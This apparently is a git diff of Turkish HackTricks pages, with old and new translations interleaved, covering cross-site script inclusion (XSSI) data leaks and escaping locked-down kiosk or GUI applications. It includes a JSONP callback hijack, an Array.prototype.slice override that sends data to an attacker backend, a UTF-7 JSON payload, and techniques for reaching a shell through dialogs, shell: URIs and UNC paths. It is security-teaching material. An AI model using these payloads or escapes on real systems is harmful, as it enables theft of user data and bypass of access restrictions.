Bu tür XSSI saldırıları, bir kullanıcının isteğine yanıt olarak gizli bilgilerin dinamik olarak script'e eklenmesini içerir. Tespit, çerezlerle ve çerez olmadan istekler göndererek ve yanıtları karşılaştırarak gerçekleştirilebilir. Eğer bilgiler farklıysa, bu gizli bilgilerin varlığını gösterebilir. Bu süreç, [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp eklentisi gibi araçlar kullanılarak otomatikleştirilebilir.
Gizli veriler bir global değişkende depolanıyorsa, Düzenli XSSI'de kullanılan yöntemlere benzer yöntemlerle istismar edilebilir. Ancak, gizli veriler bir JSONP yanıtında yer alıyorsa, saldırganlar geri çağırma işlevini ele geçirerek bilgileri alabilir. Bu, ya global nesneleri manipüle ederek ya da JSONP yanıtı tarafından yürütülecek bir işlevi kurarak yapılabilir, aşağıda gösterildiği gibi:
Eğer gizli veriler bir global değişkende saklanıyorsa, bu, Regular XSSI'de kullanılan benzer yöntemlerle istismar edilebilir. Ancak, eğer gizli veriler bir JSONP yanıtında yer alıyorsa, saldırganlar bilgiyi almak için geri çağırma fonksiyonunu ele geçirebilir. Bu, ya global nesneleri manipüle ederek ya da JSONP yanıtı tarafından yürütülecek bir fonksiyon kurarak yapılabilir, aşağıda gösterildiği gibi:
```html
<script>
var angular = function () { return 1; };
@ -64,15 +65,17 @@ alert(JSON.stringify(leaked));
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
```
Değişkenlerin global ad alanında bulunmadığı durumlarda, bazen *prototype bozulması* istismar edilebilir. Bu teknik, JavaScript'in tasarımından yararlanır, burada kod yorumlaması, çağrılan özelliği bulmak için prototip zincirini gezme işlemi içerir. `Array`'ın `slice` gibi belirli fonksiyonları geçersiz kılarak, saldırganlar global olmayan değişkenlere erişebilir ve sızdırabilir:
Global ad alanında yer almayan değişkenler için, *prototype tampering* bazen istismar edilebilir. Bu teknik, JavaScript'in tasarımını kullanır; burada kod yorumlaması, çağrılan özelliği bulmak için prototip zincirini geçmeyi içerir. Belirli fonksiyonları, örneğin `Array`'nin `slice` fonksiyonunu geçersiz kılarak, saldırganlar global olmayan değişkenlere erişebilir ve leak edebilir:
```javascript
Array.prototype.slice = function(){
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this);
};
```
Daha fazla bilgiye, [Sebastian Lekies](https://twitter.com/slekies) adlı Güvenlik Araştırmacısının çalışmalarında ulaşılabilir; kendisi bir [vektörler](http://sebastian-lekies.de/leak/) listesi tutmaktadır.
### Non-Script-XSSI
Takeshi Terada'nın araştırması, CSV gibi Non-Script dosyalarının, bir `script` etiketi içinde kaynak olarak dahil edilerek cross-origin olarak sızdırıldığı başka bir XSSI formunu tanıtır. Google adres defterinin tamamını okumak için yapılan Jeremiah Grossman'ın 2006 saldırısı ve Joe Walker'ın 2007 JSON veri sızıntısı gibi tarihsel XSSI örnekleri, bu tehditlerin ciddiyetini vurgular. Ayrıca, Gareth Heyes, belirli tarayıcılarda etkili olan JSON formatından kaçmak ve komut dosyalarını çalıştırmak için UTF-7 kodlu JSON içeren bir saldırı varyantınııklar:
Takeshi Terada'nın araştırması, Non-Script dosyalarının, CSV gibi, `script` etiketinde kaynak olarak dahil edilerek cross-origin olarak sızdırıldığı başka bir XSSI biçimini tanıtmaktadır. Jeremiah Grossmanın 2006 yılında tam bir Google adres defterini okumak için gerçekleştirdiği saldırı ve Joe Walkerın 2007 JSON veri sızıntısı gibi tarihsel XSSI örnekleri, bu tehditlerin ciddiyetini vurgulamaktadır. Ayrıca, Gareth Heyes, belirli tarayıcılarda etkili olan JSON formatından kaçmak ve script'leri çalıştırmak için UTF-7 kodlu JSON içeren bir saldırı varyantını tanımlamaktadır:
```javascript
[{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
```
@ -80,16 +83,17 @@ Takeshi Terada'nın araştırması, CSV gibi Non-Script dosyalarının, bir `scr
```html
<script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
```
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** isterseniz, [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek** paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,59 +1,60 @@
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
# GUI uygulamasından kaçma
# GUI uygulaması içindeki olası eylemleri kontrol edin
**Ortak İletişim Kutuları** dosya kaydetme, dosya açma, yazı tipi seçme, renk seçme gibi seçeneklerdir. Bunların çoğu, tam bir Gezgin işlevselliği sunar. Bu, aşağıdaki seçeneklere erişebiliyorsanız Gezgin işlevselliğine erişebileceğiniz anlamına gelir:
**Ortak Diyaloglar**, **bir dosyayı kaydetme**, **bir dosyayı açma**, bir yazı tipi, bir renk seçme gibi seçeneklerdir... Bunların çoğu **tam bir Gezgini işlevselliği sunacaktır**. Bu, bu seçeneklere erişebiliyorsanız Gezgini işlevselliğine erişebileceğiniz anlamına gelir:
* Kapat/Kapat olarak
* Aç/Aç ile
* Yazdır
* Dışa Aktar/İçe Aktar
* Dışa Aktar/Içe Aktar
* Ara
* Tara
Aşağıdakileri kontrol etmelisiniz:
Şunları kontrol etmelisiniz:
* Dosyaları değiştirme veya yeni dosyalar oluşturma
* Sembolik bağlantılar oluşturma
* Kısıtlı alanlara erişim elde etme
* Kısıtlı alanlara erişim sağlama
* Diğer uygulamaları çalıştırma
## Komut Yürütme
Belki de bir `Aç ile` seçeneği kullanarak bir tür kabuk açabilir/çalıştırabilirsiniz.
Belki **`Aç ile`** seçeneğini kullanarak bazı türde bir shell açabilir/çalıştırabilirsiniz.
### Windows
Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada komutları yürütmek için kullanılabilecek daha fazla ikili bulunur: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ komutları yürütmek için kullanılabilecek daha fazla ikili dosyayı burada bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX __
_bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://gtfobins.github.io)
_bash, sh, zsh..._ Daha fazla bilgi burada: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Yol Kısıtlamalarını Aşma
## Yol kısıtlamalarını aşma
* **Ortam değişkenleri**: Birçok ortam değişkeni belirli bir yola işaret eder
* **Ortam değişkenleri**: Bazı yollara işaret eden birçok ortam değişkeni vardır
* **Diğer protokoller**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
* **Sembolik bağlantılar**
* **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç İletişim Kutusu), CTRL-P (Yazdır İletişim Kutusu), CTRL-S (Farklı Kaydet)
* **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (gezgini aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyaloğu), CTRL-P (Yazdırma Diyaloğu), CTRL-S (Farklı Kaydet)
* Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9
* **Shell URI'ları**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC yolları**: Paylaşılan klasörlere bağlanmak için kullanılan yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32")
* **Shell URI'leri**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
* **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32")
* **Daha fazla UNC yolu:**
| UNC | UNC | UNC |
@ -71,12 +72,12 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g
## İkili Dosyalarınızı İndirin
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Gezgin: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Gezgini: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Tarayıcıdan Dosya Sistemine Erişim
## Tarayıcıdan dosya sistemine erişim
| YOL | YOL | YOL | YOL |
| PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
@ -88,44 +89,45 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt
## Kısayollar
* Yapışkan Tuşlar SHIFT tuşuna 5 kez basın
* Yapışkan Tuşlar SHIFT'e 5 kez basın
* Fare Tuşları SHIFT+ALT+NUMLOCK
* Yüksek Kontrast SHIFT+ALT+PRINTSCN
* Tuşları Değiştir NUMLOCK'u 5 saniye basılı tutun
* Filtre Tuşları Sağ SHIFT tuşunu 12 saniye basılı tutun
* Anahtarları Değiştir NUMLOCK'a 5 saniye basılı tutun
* Filtre Tuşları sağ SHIFT'e 12 saniye basılı tutun
* WINDOWS+F1 Windows Arama
* WINDOWS+D Masaüstünü Göster
* WINDOWS+E Windows Gezgini'ni Başlat
* WINDOWS+R Çalıştır
* WINDOWS+U Kolay Erişim Merkezi
* WINDOWS+F Arama
* SHIFT+F10 İçerik Menüsü
* WINDOWS+U Erişim Kolaylığı Merkezi
* WINDOWS+F Ara
* SHIFT+F10 Bağlam Menüsü
* CTRL+SHIFT+ESC Görev Yöneticisi
* CTRL+ALT+DEL Yeni Windows sürümlerinde açılış ekranı
* F1 Yardım F3 Arama
* CTRL+ALT+DEL Daha yeni Windows sürümlerinde açılış ekranı
* F1 Yardım F3 Ara
* F6 Adres Çubuğu
* F11 İnternet Explorer içinde tam ekranı açma/kapatma
* CTRL+H İnternet Explorer Geçmişi
* CTRL+T İnternet Explorer Yeni Sekme
* CTRL+N İnternet Explorer Yeni Sayfa
* F11 Internet Explorer'da tam ekranı aç/kapat
* CTRL+H Internet Explorer Geçmişi
* CTRL+T Internet Explorer Yeni Sekme
* CTRL+N Internet Explorer Yeni Sayfa
* CTRL+O Dosya Aç
* CTRL+S Kaydet CTRL+N Yeni RDP / Citrix
## Kaydırma İşlemleri
* Tüm açık Pencereleri görmek, KIOSK uygulamasını küçültmek ve doğrudan işletim sistemine erişmek için sol taraftan sağa doğru kaydırın;
* Eylem Merkezini açmak, KIOSK uygulamasını küçültmek ve doğrudan işletim sistemine erişmek için sağ taraftan sola doğru kaydırın;
* Tam ekran modunda açılan bir uygulama için başlık çubuğunu görünür yapmak için üst kenardan içeri kaydırın;
* Tam ekran bir uygulamada görev çubuğunu göstermek için alttan yukarı kaydırın.
## Kaydırmalar
* Sol taraftan sağa kaydırarak tüm açık pencereleri görün, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin;
* Sağ taraftan sola kaydırarak Eylem Merkezi'ni açın, KIOSK uygulamasını küçültün ve tüm işletim sistemine doğrudan erişin;
* Üst kenardan kaydırarak tam ekran modunda açılan bir uygulamanın başlık çubuğunu görünür hale getirin;
* Aşağıdan yukarı kaydırarak tam ekran uygulamasında görev çubuğunu gösterin.
## Internet Explorer İpuçları
### 'Resim Araç Çubuğu'
Tıklanan bir resmin sol üst köşesinde görünen bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezgin'de Açma işlemlerini yapabilirsiniz. Kiosk, Internet Explorer kullanıyor olmalıdır.
Tıklandığında resmin sol üst kısmında beliren bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezginde açma işlemlerini yapabileceksiniz. Kiosk'un Internet Explorer kullanması gerekir.
### Shell Protokolü
Aşağıdaki URL'leri kullanarak bir Gezgin görünümü elde edin:
Bir Gezgini görünümü elde etmek için bu URL'leri yazın:
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
@ -149,131 +151,134 @@ Aşağıdaki URL'leri kullanarak bir Gezgin görünümü elde edin:
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Yerlerim
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Dosya Uzantılarını Gösterme
## Dosya Uzantılarını Göster
Daha fazla bilgi için bu sayfayı kontrol edin: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Tarayıcı İpuçları
# Tarayıcı ipuçları
iKat sürümlerini yedekleyin:
Yedek iKat sürümleri:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
JavaScript kullanarak ortak bir iletişim kutusu oluşturun ve dosya gezginine erişin: `document.write('<input/type=file>')`
JavaScript kullanarak ortak bir diyalog oluşturun ve dosya gezgini erişin: `document.write('<input/type=file>')`
Kaynak: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Jestler ve Düğmeler
## Hareketler ve düğmeler
* Dört (veya beş) parmakla yukarı kaydırma / Ana düğmeye çift dokunma: Çoklu görev görünümünü görüntülemek ve Uygulama değiştirmek için
* Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye çift dokunun: Çoklu görev görünümünü görmek ve Uygulamayı değiştirmek için
* Dört veya beş parmakla bir yöne kaydırma: Bir sonraki/önceki Uygulamaya geçmek için
* Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/son uygulamaya geçmek için
* Beş parmakla ekrana yakınlaştırma / Ana düğmeye dokunma / Ekrana hızlı bir hareketle aşağıdan yukarıya doğru bir parmakla kaydırma: Ana ekrana erişmek için
* Beş parmakla ekranı sıkıştırın / Ana düğmeye dokunun / Ekranın altından yukarı doğru hızlı bir hareketle 1 parmakla kaydırın: Ana ekrana erişmek için
* Bir parmakla ekranın altından yavaşça 1-2 inç yukarı kaydırma: Dock görünecektir
* Ekranın altından 1-2 inç (yavaş) kaydırın: Dock görünecektir
* Bir parmakla ekranın üstünden aşağı doğru kaydırma: Bildirimlerinizi görüntülemek için
* Ekranın üst kısmından 1 parmakla aşağı kaydırın: Bildirimlerinizi görüntülemek için
* Bir parmakla ekranın sağ üst köşesinden aşağı doğru kaydırma: iPad Pro'nun kontrol merkezini görmek için
* Ekranın sağ üst köşesinden 1 parmakla aşağı kaydırın: iPad Pro'nun kontrol merkezini görmek için
* Ekranın solundan bir parmakla 1-2 inç kaydırma: Bugünkü görünümü görmek için
* Ekranın sol tarafından 1-2 inç kaydırın: Bugün görünümünü görmek için
* Ekranın merkezinden hızlı bir şekilde sağa veya sola bir parmakla basılı tutma: Bir sonraki/önceki Uygulamaya geçmek için
* Ekranın ortasından sağa veya sola hızlı bir şekilde 1 parmakla kaydırın: Bir sonraki/son uygulamaya geçmek için
* Üst sağ köşedeki On/Off/Uyku düğmesini üstteki sağ köşede basılı tutun + **iPad +** Kaydırarak **kapat** kaydırıcısını tamamen sağa doğru hareket ettirin: Kapatmak için
* **iPad'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine basılı tutun** / Güç kapalı kaydırıcısını tamamen sağa kaydırın: Kapatmak için
* Üst sağ köşedeki On/Off/Uyku düğmesini üstteki sağ köşede basılı tutun ve Ana düğmesine birkaç saniye basılı tutun: Zorla kapatma yapmak için
* **iPad'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana düğmeye birkaç saniye basın**: Zorla kapatma yapmak için
* Üst sağ köşedeki On/Off/Uyku düğmesini üstteki sağ köşede basılı tutun ve Ana düğmesine hızlıca basın: Ekranda sol alt köşede belirecek bir ekran görüntüsü almak için. Her iki düğmeyi de aynı anda çok kısa süreli basın, birkaç saniye basılı tutarsanız zorla kapatma yapılır.
* **iPad'in sağ üst köşesindeki Açma/Kapama/Uyku düğmesine ve Ana düğmeye hızlıca basın**: Ekranın sol alt kısmında belirecek bir ekran görüntüsü almak için. Her iki düğmeye aynı anda çok kısa bir süre basın, birkaç saniye basılı tutarsanız zorla kapatma yapılır.
## Kısayollar
Bir iPad klavyesine veya USB klavye adaptörüne sahip olmanız gerekmektedir. Burada, uygulamadan kaçmak için yardımcı olabilecek yalnızca kısayollar gösterilecektir.
Bir iPad klavyesine veya bir USB klavye adaptörüne sahip olmalısınız. Uygulamadan kaçmaya yardımcı olabilecek yalnızca kısayollar burada gösterilecektir.
| Tuş | İsim |
| Tuş | Adı |
| --- | ------------ |
| ⌘ | Komut |
| ⌥ | Seçenek (Alt)|
| ⌘ | Komut |
| ⌥ | Seçenek (Alt) |
| ⇧ | Shift |
| ↩ | Return |
| ⇥ | Tab |
| ↩ | Geri |
| ⇥ | Sekme |
| ^ | Kontrol |
| ← | Sol Ok |
| → | Sağ Ok |
| ↑ | Yukarı Ok |
| ↓ | Aşağı Ok |
| ← | Sol Ok |
| → | Sağ Ok |
| ↑ | Yukarı Ok |
| ↓ | Aşağı Ok |
### Sistem kısayolları
Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayarları için kullanılır.
Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayarları içindir.
| Kısayol | Eylem |
| Kısayol | Eylem |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Ekranı Karartma |
| F2 | Ekranı Parlaklaştırma |
| F7 | Bir önceki şarkıya dön |
| F8 | Oynat/Duraklat |
| F9 | Bir sonraki şarkıya geç |
| F10 | Sesi Kapat |
| F11 | Ses düzeyini azalt |
| F12 | Ses düzeyini artır |
| ⌘ Space | Kullanılabilir dillerin bir listesini görüntüler; birini seçmek için tekrar boşluk çubuğuna dokunun. |
| F1 | Ekranı karart |
| F2 | Ekranı aydınlat |
| F7 | Bir şarkıyı geri al |
| F8 | Oynat/durdur |
| F9 | Şarkıyı at |
| F10 | Ses kapalı |
| F11 | Ses seviyesini azalt |
| F12 | Ses seviyesini artır |
| ⌘ Boşluk | Mevcut dillerin listesini görüntüle; birini seçmek için boşluk tuşuna tekrar dokunun. |
### iPad gezinme
### iPad navigasyonu
| Kısayol | Eylem |
| ------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ana Ekrana Git |
| ⌘⇧H (Komut-Shift-H) | Ana Ekrana Git |
| ⌘ (Boşluk) | Spotlight'ı Aç |
| ⌘⇥ (Komut-Tab) | Son on kullanılan uygulamaları listeler |
| ⌘\~ | Son Uygulamaya Git |
| ⌘⇧3 (Komut-Shift-3) | Ekran Görüntüsü Al (alt sol köşede kaydetme veya üzerinde işlem yapma) |
| ⌘⇧4 | Ekran Görüntüsü Al ve düzenleyicide aç |
| ⌘ tuşuna basılı tutun | Uygulama için mevcut kısayolların listesi |
| ⌘⌥D (Komut-Option/Alt-D) | Dock'u Göster |
| ^⌥H (Kontrol-Option-H) | Ana düğme |
| ^⌥H H (Kontrol-Option-H-H) | Çoklu görev çubuğunu göster |
| ^⌥I (Kontrol-Option-i) | Öğe seçici |
| Escape | Geri düğmesi |
| → (Sağ ok) | Sonraki öğe |
| ← (Sol ok) | Önceki öğe |
| ↑↓ (Yukarı ok, Aşağı ok) | Seçili öğeye aynı anda dokunma |
| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydırma |
| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydırma |
| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sol veya sağa kaydırma |
| ^⌥S (Kontrol-Option-S) | VoiceOver konuşmasını açma veya kapatma |
| ⌘
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | Ana ekrana git |
| ⌘⇧H (Komut-Shift-H) | Ana ekrana git |
| ⌘ (Boşluk) | Spotlight'ı aç |
| ⌘⇥ (Komut-Sekme) | Son on kullanılan uygulamayı listele |
| ⌘\~ | Son uygulamaya git |
| ⌘⇧3 (Komut-Shift-3) | Ekran görüntüsü (sol altta kaydetmek veya üzerinde işlem yapmak için) |
| ⌘⇧4 | Ekran görüntüsü al ve düzenleyicide aç |
| ⌘'e basılı tutun | Uygulama için mevcut kısayolların listesini göster |
| ⌘⌥D (Komut-Seçenek/Alt-D) | Dock'u açar |
| ^⌥H (Kontrol-Seçenek-H) | Ana düğme |
| ^⌥H H (Kontrol-Seçenek-H-H) | Çoklu görev çubuğunu göster |
| ^⌥I (Kontrol-Seçenek-i) | Öğe seçici |
| Escape | Geri düğmesi |
| → (Sağ ok) | Sonraki öğe |
| ← (Sol ok) | Önceki öğe |
| ↑↓ (Yukarı ok, Aşağı ok) | Seçilen öğeye aynı anda dokunun |
| ⌥ ↓ (Seçenek-Aşağı ok) | Aşağı kaydır |
| ⌥↑ (Seçenek-Yukarı ok) | Yukarı kaydır |
| ⌥← veya ⌥→ (Seçenek-Sol ok veya Seçenek-Sağ ok) | Sola veya sağa kaydır |
| ^⌥S (Kontrol-Seçenek-S) | VoiceOver konuşmasını aç veya kapat |
| ⌘⇧⇥ (Komut-Shift-Sekme) | Önceki uygulamaya geç |
| ⌘⇥ (Komut-Sekme) | Orijinal uygulamaya geri dön |
| ←+→, ardından Seçenek + ← veya Seçenek+→ | Dock'ta gezin |
### Safari kısayolları
| Kısayol | Eylem |
| ----------------------- | ------------------------------------------------- |
| ⌘L (Command-L) | Konumu Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur |
| ^⇥ | Bir sonraki sekmeye geç |
| ^⇧⇥ (Control-Shift-Tab) | Önceki sekmeye geç |
| ⌘L | Metin girişi/URL alanını seçerek düzenleme yapma |
| ⌘⇧T (Command-Shift-T) | Son kapatılan sekmeyi aç (birkaç kez kullanılabilir) |
| ⌘\[ | Tarayıcı geçmişinde bir sayfa geri git |
| ⌘] | Tarayıcı geçmişinde bir sayfa ileri git |
| ⌘⇧R | Okuma Modunu etkinleştir |
| Kısayol | Eylem |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Komut-L) | Konum Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Mevcut sekmeyi kapat |
| ⌘R | Mevcut sekmeyi yenile |
| ⌘. | Mevcut sekmenin yüklenmesini durdur |
| ^⇥ | Sonraki sekmeye geç |
| ^⇧⇥ (Kontrol-Shift-Sekme) | Önceki sekmeye geç |
| ⌘L | Metin girişi/URL alanını seçip düzenlemek için |
| ⌘⇧T (Komut-Shift-T) | En son kapatılan sekmeyi aç (birkaç kez kullanılabilir) |
| ⌘\[ | Tarayıcı geçmişinizde bir sayfaya geri dön |
| ⌘] | Tarayıcı geçmişinizde bir sayfaya ileri git |
| ⌘⇧R | Okuyucu Modunu etkinleştir |
### Mail kısayolları
| Kısayol | Eylem |
| -------------------------- | ----------------------------- |
| ⌘L | Konumu |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Geçerli sekmeyi kapat |
| ⌘R | Geçerli sekmeyi yenile |
| ⌘. | Geçerli sekmeyi yüklemeyi durdur |
| ⌘⌥F (Command-Option/Alt-F) | Posta kutunuzda arama yap |
| Kısayol | Eylem |
| -------------------------- | ---------------------------- |
| ⌘L | Konum Aç |
| ⌘T | Yeni bir sekme aç |
| ⌘W | Mevcut sekmeyi kapat |
| ⌘R | Mevcut sekmeyi yenile |
| ⌘. | Mevcut sekmenin yüklenmesini durdur |
| ⌘⌥F (Komut-Seçenek/Alt-F) | Posta kutunuzda arama yap |
# Referanslar
@ -283,16 +288,17 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
